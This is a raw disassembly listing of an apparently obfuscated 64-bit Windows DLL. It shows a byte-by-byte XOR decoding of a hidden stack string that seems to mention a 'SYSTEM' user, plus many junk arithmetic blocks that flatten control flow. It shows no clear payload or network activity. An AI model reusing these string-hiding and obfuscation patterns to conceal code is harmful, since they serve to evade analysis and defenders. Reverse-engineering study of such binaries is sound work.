mov eax, dword [rsp + 0x40]
add al, 0xd
xor eax, 0x6e
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor eax, 0x67
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor eax, ecx
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor eax, 0x27
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor eax, 0x25
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor eax, 0x73
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
lea esi, [rcx - 0xc]
add al, 0x13
xor eax, 0x27
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x40]
add al, sil
xor eax, ecx
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x40]
add al, 0x15
xor eax, 0x61
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x40]
add al, 0x16
xor eax, 0x73
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x40]
add al, 0x17
xor eax, ecx
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x40]
add al, 0x18
xor eax, 0x53
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x40]
add al, 0x19
xor eax, 0x59
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x40]
add al, 0x1a
xor eax, 0x53
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x40]
add al, 0x1b
xor eax, 0x54
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x40]
add al, 0x1c
xor eax, 0x45
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x40]
add al, 0x1d
xor eax, 0x4d
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x40]
add al, 0x1e
xor eax, ecx
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x40]
add al, 0x1f
xor eax, 0x75
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x40]
add al, cl
xor eax, 0x73
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x40]
add al, 0x21
xor eax, 0x65
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x40]
add al, 0x22
xor eax, 0x72
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x40]
add al, 0x23
xor eax, 0x2e
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x40]
add al, 0x24
xor eax, 0x2e
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x40]
add al, 0x25
xor eax, 0x2e
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x40]
add al, 0x26
xor eax, 0xa
mov byte [rsp + 0x6a], al
xor eax, eax
mov rdx, rbx
mov byte [rsp + 0x6b], al
mov al, byte [rsp + 0x44]
push rax
pushf
mov eax, 0x9ef3713c
pushf
not eax
add eax, 0xc34de2b8
xor eax, 0xc4364cab
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd1afc376
xor eax, 0xdf34ec16
rol eax, 2
popf
pushf
not eax
add eax, 0xc2ee5b1e
xor eax, 0xd9d9e15b
rol eax, 0xde
popf
jmp 0x18003d584
movsx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x44], cl
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
cmp rdx, 0x27
jb 0x18003ec57
push rax
pushf
mov eax, 0x7b8cce6d
pushf
not eax
add eax, 0x9570f0ea
xor eax, 0xe21627a6
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xd2e64054
xor eax, 0x84fa87a0
rol eax, 0x50
popf
pushf
not eax
add eax, 0xa13fcc32
xor eax, 0x9147f69c
rol eax, 0x89
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x4023382d
pushf
not eax
add eax, 0x9cd0247e
xor eax, 0xf043d014
rol eax, 0x49
popf
pushf
not eax
add eax, 0xd0b83857
xor eax, 0xf09faefd
rol eax, 0x2b
popf
jmp 0x18003d584
mov rdx, r12
mov byte [rsp + 0x6b], bl
lea rcx, [rsp + 0x44]
call fcn.180003908
mov r8, r13
lea rcx, [rbp + 0xa4]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, r13
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r8d, esi
mov dword [rbp + 0x10a8], ebx
lea rdx, [rbp + 0x58]
mov dword [rbp + 0x9c], ebx
lea rcx, [rbp + 0x90]
mov dword [rbp + 0xa0], edi
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x48], ebx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov r8d, r15d
mov dword [rbp + 0x50], ebx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.18000be44
mov edx, 0x2f12c343
pushf
not edx
add edx, 0xc499e515
xor edx, 0xd39e52d8
rol edx, 0x12
popf
pushf
not edx
add edx, 0xb7054a5f
xor edx, 0xcc5628eb
rol edx, 0x95
popf
pushf
not edx
add edx, 0xa12b0d62
xor edx, 0xfe21a885
rol edx, 0x2d
popf
pushf
not edx
add edx, 0x831a62bd
xor edx, 0x8faef2a4
rol edx, 0xed
popf
lea rcx, [rbp + 0x90]
call fcn.18000bcac
test eax, eax
jne 0x18003edb4
push rax
pushf
mov eax, 0x696f43e
pushf
not eax
add eax, 0xe38229ea
xor eax, 0xd2b9b707
rol eax, 0x24
popf
pushf
not eax
add eax, 0xcce59781
xor eax, 0xec3d6cc0
rol eax, 0x89
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x1f75400b
pushf
not eax
add eax, 0x830486c9
xor eax, 0xce027656
rol eax, 0x55
popf
pushf
not eax
add eax, 0xbf276d66
xor eax, 0xced4be37
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf5cdb21b
xor eax, 0xd92c2fdf
rol eax, 0x67
popf
pushf
not eax
add eax, 0x8ab00732
xor eax, 0xd5f95a5d
rol eax, 0xba
popf
jmp 0x18003d584
cmp dword [rbp + 0x10a8], r15d
jne 0x18003ee4d
push rax
pushf
mov eax, 0x4b3ba2aa
pushf
not eax
add eax, 0xf1011c4b
xor eax, 0xb46c5376
rol eax, 0x14
popf
pushf
not eax
add eax, 0x9436cde8
xor eax, 0xe6d5b055
rol eax, 0x3b
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0x9c4325b5
pushf
not eax
add eax, 0xb0acf969
xor eax, 0xb095ca7b
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x85509ea4
xor eax, 0x824307ff
rol eax, 0x51
popf
pushf
not eax
add eax, 0xcd8a2b48
xor eax, 0xadb10e42
rol eax, 0x43
popf
pushf
not eax
add eax, 0xb2b6e6e1
xor eax, 0xd1b54000
rol eax, 0x71
popf
jmp 0x18003d584
mov edx, dword [rbp + 0x8a8]
test edx, edx
je 0x18003eef6
push rax
pushf
mov eax, 0x735f6c36
pushf
not eax
add eax, 0xbfa9774a
xor eax, 0xe12634d6
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xf45e221f
xor eax, 0xa1e74530
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xf378aa62
xor eax, 0x8fe21695
rol eax, 0xaa
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xe69db6c7
pushf
not eax
add eax, 0xe0a1727c
xor eax, 0xa447d68e
rol eax, 0xae
popf
pushf
not eax
add eax, 0x9ba94b64
xor eax, 0xe85f5105
rol eax, 0x23
popf
pushf
not eax
add eax, 0x9f4e6e48
xor eax, 0x8ffdfb8e
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xea84da49
xor eax, 0xb4138447
rol eax, 0x47
popf
jmp 0x18003d584
cmp edx, 0x41d
je 0x18003ef8a
push rax
pushf
mov eax, 0xee850539
pushf
not eax
add eax, 0xdbdbb576
xor eax, 0xde9b3404
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xe7f5f46d
xor eax, 0x805aebe6
rol eax, 0x80
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xf7975100
pushf
not eax
add eax, 0xc878a48d
xor eax, 0xf7b123e4
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xd2c25107
xor eax, 0xbba834dd
rol eax, 0x15
popf
pushf
not eax
add eax, 0xcc2f34dc
xor eax, 0xdfde01ba
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xa3b15c43
xor eax, 0xc7cba1c8
rol eax, 0xb6
popf
jmp 0x18003d584
lea rcx, [0x1d57c837f]
pushf
sub rcx, 0x557ad61f
popf
jmp 0x18003f34f
mov r8, r13
lea rcx, [rbp + 0xa4]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, r13
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r8d, esi
mov dword [rbp + 0x10a8], ebx
lea rdx, [rbp + 0x58]
mov dword [rbp + 0x9c], ebx
lea rcx, [rbp + 0x90]
mov dword [rbp + 0xa0], edi
call fcn.18000be44
mov edx, 0xfc7e8107
pushf
not edx
add edx, 0xe5616e56
xor edx, 0xad05f7bc
rol edx, 0x2e
popf
pushf
not edx
add edx, 0xfd80a077
xor edx, 0xefa9d179
rol edx, 8
popf
pushf
not edx
add edx, 0xffcdfd35
xor edx, 0x91ea785b
rol edx, 0x2f
popf
lea rcx, [rbp + 0x90]
call fcn.18000bcac
test eax, eax
jne 0x18003f14d
push rax
pushf
mov eax, 0x4c9b816a
pushf
not eax
add eax, 0x9a9d0ede
xor eax, 0xd5a52977
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xd2b553f4
xor eax, 0xbb25fef9
rol eax, 0x82
popf
pushf
not eax
add eax, 0xded85e45
xor eax, 0xd725a54d
rol eax, 0x70
popf
pushf
not eax
add eax, 0xb00efa41
xor eax, 0x86582bf3
rol eax, 0x98
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xa0e37d64
pushf
not eax
add eax, 0xd1b8c3df
xor eax, 0x80b04d00
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x9a99ad19
xor eax, 0xef83dc61
rol eax, 0x71
popf
jmp 0x18003d584
cmp dword [rbp + 0x10a8], r15d
jne 0x18003f1e2
push rax
pushf
mov eax, 0xd24b9fbc
pushf
not eax
add eax, 0x89754f93
xor eax, 0xd96e734e
rol eax, 0x58
popf
pushf
not eax
add eax, 0x861d469b
xor eax, 0x9bf6a390
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xb35d1dd3
xor eax, 0xbbf8978b
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd8f925a1
xor eax, 0xec488dcd
rol eax, 0x71
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xad8f4f04
pushf
not eax
add eax, 0xd9f3433b
xor eax, 0xbcb08fa4
rol eax, 0xab
popf
pushf
not eax
add eax, 0xee652b39
xor eax, 0xd86a2b66
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x85445b65
xor eax, 0xd10d424c
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xe2782a9a
xor eax, 0xaaad0fd1
rol eax, 0x9b
popf
jmp 0x18003d584
mov edx, dword [rbp + 0x8a8]
test edx, edx
je 0x18003f29e
push rax
pushf
mov eax, 0x911019a4
pushf
not eax
add eax, 0x829f5991
xor eax, 0xdb0a2ce5
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xf316bbb9
xor eax, 0x8e024c12
rol eax, 0x29
popf
pushf
not eax
add eax, 0xaab55948
xor eax, 0xffe7bae0
rol eax, 0x29
popf
pushf
not eax
add eax, 0xd8bbdad3
xor eax, 0xbcd92827
rol eax, 6
popf
jmp 0x18003d584
push rax
pushf
mov eax, 0xd08326da
pushf
not eax
add eax, 0xa7a70b00
xor eax, 0xe46ea1fa
rol eax, 0x66
popf
pushf
not eax
add eax, 0x8cafdbdf
xor eax, 0xddd0bca6
rol eax, 0x61
popf
pushf
not eax
add eax, 0xa06dc7f8
xor eax, 0xd7d0168f
rol eax, 0xee
popf
jmp 0x18003d584
lea rcx, [0x1f8036ae8]
pushf
sub rcx, 0x7801bd70
popf
push rax
pushf
mov eax, 0xba9da93f
pushf
not eax
add eax, 0x86155eb4
xor eax, 0xd6d5db22
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xad5d3102
xor eax, 0x8010a4e5
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xa260959d
xor eax, 0xa1eb0b3f
rol eax, 0x20
popf
pushf
not eax
add eax, 0xc39838e2
xor eax, 0xfec9ee96
rol eax, 0x16
popf
jmp 0x18003d584
call fcn.180003908
jmp 0x18003f40d
mov edi, ebx
push rax
pushf
mov eax, 0x86ded69b
pushf
not eax
add eax, 0xf8196114
xor eax, 0xd34125b8
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xb166c700
xor eax, 0xfc1d1ee4
rol eax, 0x49
popf
pushf
not eax
add eax, 0xe360c4de
xor eax, 0xe0ca9aaf
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe12b3c97
xor eax, 0xecd12591
rol eax, 0xa7
popf
jmp 0x18003d584
mov rcx, qword [rbp + 0x90]
jmp 0x18003f415
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x4e06f528
pushf
not eax
add eax, 0xd0446439
xor eax, 0xedcbe94c
rol eax, 0x12
popf
pushf
not eax
add eax, 0xf93abc7b
xor eax, 0xcedccfd7
rol eax, 0x95
popf
pushf
not eax
add eax, 0xac7e09dd
xor eax, 0x9b626a18
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x924c913e
xor eax, 0xbd6d1b94
rol eax, 0x57
popf
jmp 0x18003d584
mov rbx, qword [rsp + 0x2610]
mov eax, edi
add rsp, 0x25d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret